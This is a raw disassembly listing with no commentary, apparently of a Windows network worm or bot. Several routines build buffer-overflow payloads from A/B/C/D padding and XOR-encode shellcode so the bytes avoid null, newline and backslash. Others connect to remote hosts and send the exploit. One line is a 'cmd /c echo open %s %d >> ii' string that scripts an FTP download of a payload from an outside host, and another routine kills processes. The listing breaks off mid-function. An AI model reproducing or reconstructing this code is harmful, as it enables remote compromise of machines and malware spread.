--------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424790 proc near ; CODE XREF: sub_4017CBj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_4247A4 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4247A4: ; CODE XREF: sub_424790+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_444BA4 lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424790 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_401EABj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_4014FB test al, al jnz short loc_42481C pop esi retn 8 ; --------------------------------------------------------------------------- loc_42481C: ; CODE XREF: sub_424800+16j mov ecx, esi call sub_4017CB pop esi retn 8 sub_424800 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401BEAj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424C15 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424C15 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_444840 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_444848 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B68 lea ecx, [esp+864h+var_830] call sub_4017CB mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "░B░B░B░B" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B68 push offset loc_444BC8 lea ecx, [esp+868h+var_810] call sub_402036 lea ecx, [esp+864h+var_810] call sub_401B68 mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401834 lea ecx, [esp+864h+var_808] call sub_401B68 mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EAB lea ecx, [esp+864h+var_808] call sub_4016B8 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402036 push 4 push offset dword_44484C lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B68 mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_4014FB mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_4014FB lea ecx, [esp+864h+var_820] call sub_4017CB lea ecx, [esp+864h+var_848] call sub_4016B8 lea ecx, [esp+864h+var_810] call sub_4016B8 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_4014FB mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_4014FB mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_4014FB lea ecx, [esp+864h+var_828] call sub_4017CB lea ecx, [esp+864h+var_840] call sub_4016B8 lea ecx, [esp+864h+var_830] call sub_4016B8 lea ecx, [esp+864h+var_820] call sub_4016B8 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B68 push 2 push offset dword_444BBC lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_4014FB lea ecx, [esp+864h+var_838] call sub_4017CB lea ecx, [esp+864h+var_828] call sub_4016B8 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016B8 push offset dword_444BB8 lea ecx, [esp+868h+var_858] call sub_402036 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_443E90 lea ecx, [esp+868h+var_850] call sub_402036 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016B8 push offset dword_444BAC lea ecx, [esp+868h+var_858] call sub_402036 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_444BA8 lea ecx, [esp+868h+var_818] call sub_402036 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4016B8 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424C15: ; CODE XREF: sub_424840+1Ej ; sub_424840+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424D40 proc near ; CODE XREF: sub_401AB4j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 nop call near ptr 71AB2DC0h cmp eax, 1 jz short loc_424DA9 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DA9: ; CODE XREF: sub_424D40+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_436F60 sub_424D40 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424DC0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DC0: ; CODE XREF: ___:00424DB6j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi nop call near ptr 71AB615Ah pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi nop call near ptr 71AB2BC0h mov edi, [esp+0Ch+arg_0] mov ebx, dword_50FC8C mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_424E53 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424E53: ; CODE XREF: sub_424E20+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424E20 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E90 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424EC3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E90+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_4448DC shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_444854 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_44490C mov [ebx+31h], eax mov ecx, dword_444910 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_50E140 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_50E144 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_424F68 push ebx call near ptr 77C2C21Bh nop add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424F68: ; CODE XREF: sub_424E90+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AB4 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_424FA3 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424E90+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AB4 push ebx call near ptr 77C2C21Bh nop add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424E90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425020 proc near ; CODE XREF: sub_401811j var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = word ptr -410h var_40E = word ptr -40Eh var_40A = dword ptr -40Ah var_406 = dword ptr -406h var_402 = word ptr -402h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 41Ch mov ecx, 0FFh xor eax, eax push ebp push esi push edi lea edi, [esp+428h+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_444A80 lea edi, [esp+428h+var_400] rep movsd movsw mov ecx, offset byte_447551 movsb call sub_4017E4 push eax mov ecx, offset byte_447551 call sub_4017E4 mov ecx, [esp+42Ch+arg_0] push eax mov eax, dword_44768F push eax push ecx call sub_401DF7 add esp, 4 lea edx, [esp+434h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx nop call near ptr 77C3FA76h add eax, 90h lea ecx, [esp+444h+var_418] push eax lea eax, [esp+448h+var_400] push eax push 164h push offset sub_444918 push ecx call sub_401BEA mov eax, [esp+458h+var_414] xor edi, edi add esp, 30h cmp eax, edi jnz short loc_4250C9 xor eax, eax pop edi pop esi pop ebp add esp, 41Ch retn ; --------------------------------------------------------------------------- loc_4250C9: ; CODE XREF: sub_425020+9Bj mov ebp, dword_50FC2C mov [esp+428h+var_41C], edi loc_4250D3: ; CODE XREF: sub_425020+158j test edi, edi jnz loc_42517E push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_425161 mov eax, [esp+428h+arg_9E] xor edx, edx mov dword ptr [esp+428h+var_40E], edx push eax mov [esp+42Ch+var_40A], edx mov [esp+42Ch+var_410], 2 mov [esp+42Ch+var_406], edx mov [esp+42Ch+var_402], dx call ebp ; ntohs lea ecx, [esp+428h+arg_4] mov [esp+428h+var_40E], ax push ecx nop call near ptr 71AB2BF4h lea edx, [esp+428h+var_410] push 10h push edx push esi mov [esp+28h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz short loc_425156 mov eax, [esp+428h+var_414] mov ecx, [esp+428h+var_418] push eax push ecx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_425156: ; CODE XREF: sub_425020+11Aj push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_42516C loc_425161: ; CODE XREF: sub_425020+CCj push 3E8h nop call near ptr 2850303h loc_42516C: ; CODE XREF: sub_425020+13Fj mov eax, [esp+428h+var_41C] inc eax cmp eax, 2 mov [esp+428h+var_41C], eax jl loc_4250D3 loc_42517E: ; CODE XREF: sub_425020+B5j lea ecx, [esp+428h+var_418] call sub_4016B8 test edi, edi jz short loc_4251AE sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E4h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_4251AE: ; CODE XREF: sub_425020+169j pop edi pop esi mov eax, 1 pop ebp add esp, 41Ch retn sub_425020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425230 proc near ; CODE XREF: sub_4013C5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_425230 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425270 proc near ; CODE XREF: sub_40178Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013C5 mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_425295 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_425270+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_444CA8 mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_444D0C, ecx lea ecx, [eax+1] mov dword_444D2D, ecx lea ecx, [eax+17h] mov dword_444D25, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_444D3B, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_444D1C lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_444D20 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_444D21 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_444D25 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_444D29 mov [ecx+8], esi mov esi, dword_444D2D mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_444D31 rep movsd pop edi pop ebp pop esi pop ebx retn sub_425270 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253E0 proc near ; CODE XREF: sub_402162j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013C5 push eax call sub_4017BC add esp, 0Ch retn sub_4253E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_425410: ; CODE XREF: ___:00401735j push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402162 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_425433 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: ___:0042542Bj cmp eax, 0FFFFh jbe short loc_425440 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: ___:00425438j push esi push edi push ebx call sub_4013C5 add eax, 101h push eax nop call near ptr 77C2C407h add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013C5 add esp, 8 push eax push esi call sub_40178A push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B77 push esi mov edi, eax nop call near ptr 77C2C21Bh add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254B0 proc near ; CODE XREF: sub_4017BCj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4254B9 inc ecx loc_4254B9: ; CODE XREF: sub_4254B0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4254B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254E0 proc near ; CODE XREF: sub_401B77j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4254F8 cmp bl, 0Dh jz short loc_4254F8 cmp bl, 5Ch jz short loc_4254F8 test bl, bl jnz short loc_4254F9 loc_4254F8: ; CODE XREF: sub_4254E0+8j ; sub_4254E0+Dj ... inc ebx loc_4254F9: ; CODE XREF: sub_4254E0+16j cmp ebx, 0FFh jbe short loc_42551C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_425516 cmp al, 0Dh jz short loc_425516 cmp al, 5Ch jz short loc_425516 test al, al jnz short loc_42551C loc_425516: ; CODE XREF: sub_4254E0+28j ; sub_4254E0+2Cj ... add ebx, 100h loc_42551C: ; CODE XREF: sub_4254E0+1Fj ; sub_4254E0+34j push ebx call sub_4017BC mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_425535 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425535: ; CODE XREF: sub_4254E0+4Fj cmp eax, 0FFFFh jbe short loc_425540 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425540: ; CODE XREF: sub_4254E0+5Aj mov al, byte_50E148 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_425570 loc_425551: ; CODE XREF: sub_4254E0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_425567 cmp cl, 0Ah jz short loc_425567 cmp cl, 0Dh jz short loc_425567 cmp cl, 5Ch jnz short loc_42556B loc_425567: ; CODE XREF: sub_4254E0+76j ; sub_4254E0+7Bj ... inc al xor edx, edx loc_42556B: ; CODE XREF: sub_4254E0+85j inc edx cmp edx, ebx jb short loc_425551 loc_425570: ; CODE XREF: sub_4254E0+6Fj cmp ebx, 0FFh push edi mov byte_50E148, al ja short loc_4255A3 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C90 mov edi, edx mov byte_444C9D, bl mov byte_444CA1, al rep movsd movsb mov esi, 15h jmp short loc_4255C9 ; --------------------------------------------------------------------------- loc_4255A3: ; CODE XREF: sub_4254E0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C78 mov edi, edx mov word_444C86, bx mov byte_444C8B, al rep movsd movsw movsb mov esi, 17h loc_4255C9: ; CODE XREF: sub_4254E0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4255DF add esi, edx loc_4255D2: ; CODE XREF: sub_4254E0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4255D2 loc_4255DF: ; CODE XREF: sub_4254E0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4254E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425640 proc near ; CODE XREF: sub_401E24j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_4491DF[eax*4], ecx mov dword_4491CB[eax*4], ecx mov dword_4491CF[eax*4], ecx mov dword_4491D3[eax*4], ecx mov dword_4491D7[eax*4], ecx mov dword_4491DB[eax*4], ecx mov byte_448FCB[eax*4], cl mov byte_4491E3[eax*4], cl retn sub_425640 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4256B0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_425767 cmp ecx, 400h jge loc_425767 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_4491DF[esi*4] push eax nop call near ptr 277074Fh cmp dword_4491DF[esi*4], ebx jz short loc_4256F8 mov ebp, 1 loc_4256F8: ; CODE XREF: sub_4256B0+41j mov dword_4491DF[esi*4], ebx mov dword_4491CB[esi*4], ebx mov dword_4491CF[esi*4], ebx mov eax, dword_4491D3[esi*4] cmp eax, ebx jbe short loc_425721 push eax call sub_401C6C add esp, 4 loc_425721: ; CODE XREF: sub_4256B0+66j mov edi, dword_50FC88 mov dword_4491D3[esi*4], ebx mov byte_448FCB[esi*4], bl mov byte_4491E3[esi*4], bl mov ecx, dword_4491D7[esi*4] push ecx call edi ; closesocket mov dword_4491D7[esi*4], ebx mov edx, dword_4491DB[esi*4] lea esi, ds:4491DBh[esi*4] push edx call edi ; closesocket mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_425767: ; CODE XREF: sub_4256B0+Cj ; sub_4256B0+18j mov eax, ebp pop ebp pop ebx retn sub_4256B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257A0 proc near ; CODE XREF: sub_401D93j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_4491CF loc_4257B1: ; CODE XREF: sub_4257A0+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_4257E5 test ebx, ebx jle short loc_4257D7 cmp [esi], ebx jz short loc_4257C8 cmp edi, ebx jnz short loc_4257E5 loc_4257C8: ; CODE XREF: sub_4257A0+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 jmp short loc_4257E4 ; --------------------------------------------------------------------------- loc_4257D7: ; CODE XREF: sub_4257A0+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 loc_4257E4: ; CODE XREF: sub_4257A0+35j inc ebp loc_4257E5: ; CODE XREF: sub_4257A0+1Aj ; sub_4257A0+26j ... add esi, 234h inc edi cmp esi, offset byte_4D61CF jl short loc_4257B1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_4257A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425820 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 2790000h mov esi, eax test esi, esi jz short loc_425855 push 0 push esi nop call near ptr 2710000h test eax, eax jnz short loc_425855 push esi xor edi, edi nop call near ptr 2860000h loc_425855: ; CODE XREF: sub_425820+1Dj ; sub_425820+2Aj mov eax, edi pop edi pop esi retn sub_425820 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425870 proc near ; CODE XREF: sub_401483j arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_4491CB loc_42587B: ; CODE XREF: sub_425870+1Cj cmp [ecx], edx jnz short loc_425880 inc eax loc_425880: ; CODE XREF: sub_425870+Dj add ecx, 234h cmp ecx, offset byte_4D61CB jl short loc_42587B retn sub_425870 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258A0 proc near ; CODE XREF: sub_401D8Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_4491CB loc_4258AE: ; CODE XREF: sub_4258A0+1Fj cmp [ecx], edx jz short loc_4258C3 add ecx, 234h inc eax cmp ecx, offset byte_4D61CB jl short loc_4258AE mov eax, esi loc_4258C3: ; CODE XREF: sub_4258A0+10j pop esi retn sub_4258A0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258E0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_448FCB loc_4258E8: ; CODE XREF: sub_4258E0+18j cmp byte ptr [eax], 0 jz short loc_4258FE add eax, 234h inc edi cmp eax, offset dword_4D5FCB jl short loc_4258E8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_4258FE: ; CODE XREF: sub_4258E0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:448FCBh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi call near ptr 77C47A90h nop mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_4258E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_425980 proc 